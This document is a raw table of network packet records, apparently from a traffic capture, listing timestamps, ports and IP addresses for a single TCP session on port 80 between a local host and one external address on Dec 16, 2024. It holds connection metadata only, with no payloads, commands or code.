Dec 16, 2024 15:25:37.138339996 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.138382912 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.139027119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.165859938 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.165923119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.165940046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.165945053 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.165982962 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.166009903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.166338921 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.166378021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.166407108 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.166430950 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.166476011 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.187050104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.187134981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.187150955 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.187191010 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.187218904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.187263966 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.187716007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.187731028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.187747002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.187771082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.188147068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.188191891 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.188199997 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.188215971 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.188258886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.188287020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.189063072 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.189107895 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.189152002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.189167976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.189208984 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.189304113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.190083981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.190112114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.190128088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.190129042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.190161943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.190170050 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.190839052 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.190897942 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.190932035 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.242142916 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.255067110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.255085945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.255103111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.255117893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.255177975 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.255283117 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.255362988 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.255436897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.255453110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.255501032 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.255572081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.255624056 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.256325960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.256369114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.256383896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.256411076 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.256450891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.256491899 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.257127047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.257142067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.257183075 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.257215977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.257232904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.257271051 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.258110046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.258192062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.258207083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.258235931 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.258277893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.258318901 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.317487001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.317516088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.317529917 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.317630053 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.317661047 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.317711115 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.317934990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.317992926 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.318008900 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.318043947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.318382978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.318423033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.318438053 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.318439960 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.318487883 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.318515062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.319231987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.319276094 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.319287062 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.319303036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.319356918 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.319879055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.319907904 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.319922924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.319964886 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.320022106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.320071936 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.320674896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.320702076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.320743084 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.320805073 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.320818901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.320859909 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.321378946 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.321438074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.321455002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.321479082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.321541071 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.321585894 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.322324991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.322340012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.322359085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.322386026 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.322468042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.322514057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.323236942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.323326111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.323339939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.323357105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.323368073 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.323396921 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.324126959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.324177027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.324193001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.324213982 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.324258089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.324297905 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.325042009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.325141907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.325158119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.325186014 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.325246096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.325288057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.326004982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.326030970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.326045990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.326071024 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.326117992 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.326158047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.326864958 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.326932907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.326948881 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.326972961 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.327014923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.327054024 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.327809095 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.327862024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.327910900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.327922106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.327938080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.327974081 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.328819036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.328896046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.328913927 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.328943968 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.329010963 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.329054117 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.329737902 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.329763889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.329777956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.329807043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.329818964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.329869032 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.330542088 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.330568075 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.330584049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.330610037 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.330686092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.330728054 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.331458092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.331504107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.331518888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.331547022 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.362834930 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.362880945 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.362895012 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.362911940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.362956047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.362979889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.363377094 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.363420963 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.363459110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.363718033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.363766909 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.379745007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.379760981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.379776955 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.379873991 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.379900932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.379956007 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.380208969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.380225897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.380240917 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.380265951 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.380326033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.380367994 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.381078959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.381114006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.381129980 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.381175995 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.381222963 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.381261110 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.381845951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.381899118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.381915092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.381942034 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.381994009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.382039070 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.382832050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.382889032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.382904053 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.382936001 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.382977962 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.383021116 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.447181940 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.447213888 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.447284937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.447298050 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.447310925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.447362900 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.447787046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.447808027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.447854042 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.447958946 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.447971106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.447989941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.448014021 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.448751926 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.448764086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.448796034 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.448879957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.448893070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.448920965 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.449724913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.449783087 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.509481907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.509497881 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.509510994 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.509527922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.509558916 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.509584904 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.509792089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.509960890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.510005951 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.510026932 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.510370016 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.510412931 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.510433912 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.510456085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.510494947 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.510546923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.511358023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.511379004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.511392117 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.511409044 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.511439085 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.511907101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.511974096 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.511986017 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.512012959 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.512072086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.512111902 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.512825966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.512938976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.512950897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.512983084 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.513487101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.513499022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.513509989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.513531923 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.513550997 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.513565063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.514343977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.514389038 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.514417887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.514430046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.514467955 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.514502048 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.515250921 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.515295029 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.515307903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.515324116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.515364885 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.515396118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.516165018 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.516208887 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.516211033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.516227961 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.516261101 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.516319990 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.517066002 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.517112017 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.517117977 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.517129898 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.517168999 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.517200947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.518008947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.518053055 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.518064022 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.518076897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.518117905 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.518176079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.518932104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.518958092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.518970013 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.518975973 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.519009113 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.519057989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.519887924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.519936085 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.519936085 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.519948006 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.519994020 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.520009995 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.520884991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.520932913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.520937920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.520951033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.520997047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.521045923 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.521667957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.521725893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.521738052 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.521742105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.521781921 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.521831036 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.522619963 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.522669077 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.522680998 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.522682905 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.522731066 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:37.522761106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.523531914 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:37.523591042 CET	80	49742	185.215.113.16	192.168.2.5
